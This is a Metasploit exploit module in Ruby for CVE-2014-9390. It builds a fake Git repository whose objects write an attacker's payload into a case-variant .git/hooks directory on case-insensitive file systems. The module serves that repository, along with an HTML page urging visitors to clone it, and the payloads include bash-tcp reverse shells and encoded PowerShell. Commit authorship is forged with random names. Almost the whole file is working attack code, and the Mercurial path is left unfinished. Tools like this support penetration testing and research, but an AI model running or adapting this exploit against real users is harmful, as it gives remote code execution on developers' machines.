git_client_command_exec.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(
      info,
      'Name' => 'Malicious Git and Mercurial HTTP Server For CVE-2014-9390',
      'Description' => %q(
        This module exploits CVE-2014-9390, which affects Git (versions less
        than 1.8.5.6, 1.9.5, 2.0.5, 2.1.4 and 2.2.1) and Mercurial (versions
        less than 3.2.3) and describes three vulnerabilities.

        On operating systems which have case-insensitive file systems, like
        Windows and OS X, Git clients can be convinced to retrieve and
        overwrite sensitive configuration files in the .git
        directory which can allow arbitrary code execution if a vulnerable
        client can be convinced to perform certain actions (for example,
        a checkout) against a malicious Git repository.

        A second vulnerability with similar characteristics also exists in both
        Git and Mercurial clients, on HFS+ file systems (Mac OS X) only, where
        certain Unicode codepoints are ignorable.

        The third vulnerability with similar characteristics only affects
        Mercurial clients on Windows, where Windows "short names"
        (MS-DOS-compatible 8.3 format) are supported.

        Today this module only truly supports the first vulnerability (Git
        clients on case-insensitive file systems) but has the functionality to
        support the remaining two with a little work.
      ),
      'License' => MSF_LICENSE,
      'Author' => [
        'Jon Hart <jon_hart[at]rapid7.com>' # metasploit module
      ],
      'References'     =>
        [
          ['CVE', '2014-9390'],
          ['URL', 'https://community.rapid7.com/community/metasploit/blog/2015/01/01/12-days-of-haxmas-exploiting-cve-2014-9390-in-git-and-mercurial'],
          ['URL', 'http://git-blame.blogspot.com.es/2014/12/git-1856-195-205-214-and-221-and.html'],
          ['URL', 'http://article.gmane.org/gmane.linux.kernel/1853266'],
          ['URL', 'https://github.com/blog/1938-vulnerability-announced-update-your-git-clients'],
          ['URL', 'https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/'],
          ['URL', 'http://mercurial.selenic.com/wiki/WhatsNew#Mercurial_3.2.3_.282014-12-18.29'],
          ['URL', 'http://selenic.com/repo/hg-stable/rev/c02a05cc6f5e'],
          ['URL', 'http://selenic.com/repo/hg-stable/rev/6dad422ecc5a']

        ],
      'DisclosureDate' => 'Dec 18 2014',
      'Targets' =>
        [
          [
            'Automatic',
            {
              'Platform' => [ 'unix' ],
              'Arch'     => ARCH_CMD,
              'Payload'        =>
                {
                  'Compat'      =>
                    {
                      'PayloadType' => 'cmd cmd_bash',
                      'RequiredCmd' => 'generic bash-tcp perl'
                    }
                }
            }
          ],
          [
            'Windows Powershell',
            {
              'Platform' => [ 'windows' ],
              'Arch'     => [ARCH_X86, ARCH_X64]
            }
          ]
        ],
      'DefaultTarget'  => 0))

    register_options(
      [
        OptBool.new('GIT', [true, 'Exploit Git clients', true])
      ]
    )

    register_advanced_options(
      [
        OptString.new('GIT_URI', [false, 'The URI to use as the malicious Git instance (empty for random)', '']),
        OptString.new('MERCURIAL_URI', [false, 'The URI to use as the malicious Mercurial instance (empty for random)', '']),
        OptString.new('GIT_HOOK', [false, 'The Git hook to use for exploitation', 'post-checkout']),
        OptString.new('MERCURIAL_HOOK', [false, 'The Mercurial hook to use for exploitation', 'update']),
        OptBool.new('MERCURIAL', [false, 'Enable experimental Mercurial support', false])
      ]
    )
  end

  def setup
    # the exploit requires that we act enough like a real Mercurial HTTP instance,
    # so we keep a mapping of all of the files and the corresponding data we'll
    # send back along with a trigger file that signifies that the git/mercurial
    # client has fetched the malicious content.
    @repo_data = {
      git: { files: {}, trigger: nil },
      mercurial: { files: {}, trigger: nil }
    }

    unless datastore['GIT'] || datastore['MERCURIAL']
      fail_with(Failure::BadConfig, 'Must specify at least one GIT and/or MERCURIAL')
    end

    setup_git
    setup_mercurial

    super
  end

  def setup_git
    return unless datastore['GIT']
    # URI must start with a /
    unless git_uri && git_uri =~ /^\//
      fail_with(Failure::BadConfig, 'GIT_URI must start with a /')
    end
    # sanity check the malicious hook:
    if datastore['GIT_HOOK'].blank?
      fail_with(Failure::BadConfig, 'GIT_HOOK must not be blank')
    end

    # In .git/hooks/ directory, specially named files are shell scripts that
    # are executed when particular events occur.  For example, if
    # .git/hooks/post-checkout was an executable shell script, a git client
    # would execute that file every time anything is checked out.  There are
    # various other files that can be used to achieve similar goals but related
    # to committing, updating, etc.
    #
    # This vulnerability allows a specially crafted file to bypass Git's
    # blacklist and overwrite the sensitive .git/hooks/ files which can allow
    # arbitrary code execution if a vulnerable Git client can be convinced to
    # interact with a malicious Git repository.
    #
    # This builds a fake git repository using the knowledge from:
    #
    #   http://schacon.github.io/gitbook/7_how_git_stores_objects.html
    #   http://schacon.github.io/gitbook/7_browsing_git_objects.html
    case target.name
    when 'Automatic'
      full_cmd = "#!/bin/sh\n#{payload.encoded}\n"
    when 'Windows Powershell'
      psh = cmd_psh_payload(payload.encoded,
                            payload_instance.arch.first,
                            remove_comspec: true,
                            encode_final_payload: true)
      full_cmd = "#!/bin/sh\n#{psh}"
    end

    sha1, content = build_object('blob', full_cmd)
    trigger = "/objects/#{get_path(sha1)}"
    @repo_data[:git][:trigger] = trigger
    @repo_data[:git][:files][trigger] = content
    # build tree that points to the blob
    sha1, content = build_object('tree', "100755 #{datastore['GIT_HOOK']}\0#{[sha1].pack('H*')}")
    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
    # build a tree that points to the hooks directory in which the hook lives, called hooks
    sha1, content = build_object('tree', "40000 hooks\0#{[sha1].pack('H*')}")
    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
    # build a tree that points to the partially uppercased .git directory in
    # which hooks live
    variants = []
    %w(g G). each do |g|
      %w(i I).each do |i|
        %w(t T).each do |t|
          git = g + i + t
          variants << git unless git.chars.none? { |c| c == c.upcase }
        end
      end
    end
    git_dir = '.' + variants.sample
    sha1, content = build_object('tree', "40000 #{git_dir}\0#{[sha1].pack('H*')}")
    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
    # build the supposed commit that dropped this file, which has a random user/company
    email = Rex::Text.rand_mail_address
    first, last, company = email.scan(/([^\.]+)\.([^\.]+)@(.*)$/).flatten
    full_name = "#{first.capitalize} #{last.capitalize}"
    tstamp = Time.now.to_i
    author_time = rand(tstamp)
    commit_time = rand(author_time)
    tz_off = rand(10)
    commit = "author #{full_name} <#{email}> #{author_time} -0#{tz_off}00\n" \
             "committer #{full_name} <#{email}> #{commit_time} -0#{tz_off}00\n" \
             "\n" \
             "Initial commit to open git repository for #{company}!\n"
    if datastore['VERBOSE']
      vprint_status("Malicious Git commit of #{git_dir}/#{datastore['GIT_HOOK']} is:")
      commit.each_line { |l| vprint_status(l.strip) }
    end
    sha1, content = build_object('commit', "tree #{sha1}\n#{commit}")
    @repo_data[:git][:files]["/objects/#{get_path(sha1)}"] = content
    # build HEAD
    @repo_data[:git][:files]['/HEAD'] = "ref: refs/heads/master\n"
    # lastly, build refs
    @repo_data[:git][:files]['/info/refs'] = "#{sha1}\trefs/heads/master\n"
  end

  def setup_mercurial
    return unless datastore['MERCURIAL']
    # URI must start with a /
    unless mercurial_uri && mercurial_uri =~ /^\//
      fail_with(Failure::BadConfig, 'MERCURIAL_URI must start with a /')
    end
    # sanity check the malicious hook
    if datastore['MERCURIAL_HOOK'].blank?
      fail_with(Failure::BadConfig, 'MERCURIAL_HOOK must not be blank')
    end
    # we fake the Mercurial HTTP protocol such that we are compliant as possible but
    # also as simple as possible so that we don't have to support all of the protocol
    # complexities.  Taken from:
    #   http://mercurial.selenic.com/wiki/HttpCommandProtocol
    #   http://selenic.com/hg/file/tip/mercurial/wireproto.py
    @repo_data[:mercurial][:files]['?cmd=capabilities'] = 'heads getbundle=HG10UN'
    fake_sha1 = 'e6c39c507d7079cfff4963a01ea3a195b855d814'
    @repo_data[:mercurial][:files]['?cmd=heads'] = "#{fake_sha1}\n"
    # TODO: properly bundle this using the information in http://mercurial.selenic.com/wiki/BundleFormat
    @repo_data[:mercurial][:files]["?cmd=getbundle&common=#{'0' * 40}&heads=#{fake_sha1}"] = Zlib::Deflate.deflate("HG10UNfoofoofoo")

    # TODO: finish building the fake repository
  end

  # Build's a Git object
  def build_object(type, content)
    # taken from http://schacon.github.io/gitbook/7_how_git_stores_objects.html
    header = "#{type} #{content.size}\0"
    store = header + content
    [Digest::SHA1.hexdigest(store), Zlib::Deflate.deflate(store)]
  end

  # Returns the Git object path name that a file with the provided SHA1 will reside in
  def get_path(sha1)
    sha1[0...2] + '/' + sha1[2..40]
  end

  def exploit
    super
  end

  def primer
    # add the git and mercurial URIs as necessary
    if datastore['GIT']
      hardcoded_uripath(git_uri)
      print_status("Malicious Git URI is #{URI.parse(get_uri).merge(git_uri)}")
    end
    if datastore['MERCURIAL']
      hardcoded_uripath(mercurial_uri)
      print_status("Malicious Mercurial URI is #{URI.parse(get_uri).merge(mercurial_uri)}")
    end
  end

  # handles routing any request to the mock git, mercurial or simple HTML as necessary
  def on_request_uri(cli, req)
    # if the URI is one of our repositories and the user-agent is that of git/mercurial
    # send back the appropriate data, otherwise just show the HTML version
    if (user_agent = req.headers['User-Agent'])
      if datastore['GIT'] && user_agent =~ /^git\// && req.uri.start_with?(git_uri)
        do_git(cli, req)
        return
      elsif datastore['MERCURIAL'] && user_agent =~ /^mercurial\// && req.uri.start_with?(mercurial_uri)
        do_mercurial(cli, req)
        return
      end
    end

    do_html(cli, req)
  end

  # simulates a Git HTTP server
  def do_git(cli, req)
    # determine if the requested file is something we know how to serve from our
    # fake repository and send it if so
    req_file = URI.parse(req.uri).path.gsub(/^#{git_uri}/, '')
    if @repo_data[:git][:files].key?(req_file)
      vprint_status("Sending Git #{req_file}")
      send_response(cli, @repo_data[:git][:files][req_file])
      if req_file == @repo_data[:git][:trigger]
        vprint_status("Trigger!")
        # Do we need this?  If so, how can I update the payload which is in a file which
        # has already been built?
        # regenerate_payload
        handler(cli)
      end
    else
      vprint_status("Git #{req_file} doesn't exist")
      send_not_found(cli)
    end
  end

  # simulates an HTTP server with simple HTML content that lists the fake
  # repositories available for cloning
  def do_html(cli, _req)
    resp = create_response
    resp.body = <<HTML
     <html>
      <head><title>Public Repositories</title></head>
      <body>
        <p>Here are our public repositories:</p>
        <ul>
HTML

    if datastore['GIT']
      this_git_uri = URI.parse(get_uri).merge(git_uri)
      resp.body << "<li><a href=#{git_uri}>Git</a> (clone with `git clone #{this_git_uri}`)</li>"
    else
      resp.body << "<li><a>Git</a> (currently offline)</li>"
    end

    if datastore['MERCURIAL']
      this_mercurial_uri = URI.parse(get_uri).merge(mercurial_uri)
      resp.body << "<li><a href=#{mercurial_uri}>Mercurial</a> (clone with `hg clone #{this_mercurial_uri}`)</li>"
    else
      resp.body << "<li><a>Mercurial</a> (currently offline)</li>"
    end
    resp.body << <<HTML
        </ul>
      </body>
    </html>
HTML

    cli.send_response(resp)
  end

  # simulates a Mercurial HTTP server
  def do_mercurial(cli, req)
    # determine if the requested file is something we know how to serve from our
    # fake repository and send it if so
    uri = URI.parse(req.uri)
    req_path = uri.path
    req_path += "?#{uri.query}" if uri.query
    req_path.gsub!(/^#{mercurial_uri}/, '')
    if @repo_data[:mercurial][:files].key?(req_path)
      vprint_status("Sending Mercurial #{req_path}")
      send_response(cli, @repo_data[:mercurial][:files][req_path], 'Content-Type' => 'application/mercurial-0.1')
      if req_path == @repo_data[:mercurial][:trigger]
        vprint_status("Trigger!")
        # Do we need this?  If so, how can I update the payload which is in a file which
        # has already been built?
        # regenerate_payload
        handler(cli)
      end
    else
      vprint_status("Mercurial #{req_path} doesn't exist")
      send_not_found(cli)
    end
  end

  # Returns the value of GIT_URI if not blank, otherwise returns a random .git URI
  def git_uri
    return @git_uri if @git_uri
    if datastore['GIT_URI'].blank?
      @git_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 2).downcase + '.git'
    else
      @git_uri = datastore['GIT_URI']
    end
  end

  # Returns the value of MERCURIAL_URI if not blank, otherwise returns a random URI
  def mercurial_uri
    return @mercurial_uri if @mercurial_uri
    if datastore['MERCURIAL_URI'].blank?
      @mercurial_uri = '/' + Rex::Text.rand_text_alpha(rand(10) + 6).downcase
    else
      @mercurial_uri = datastore['MERCURIAL_URI']
    end
  end
end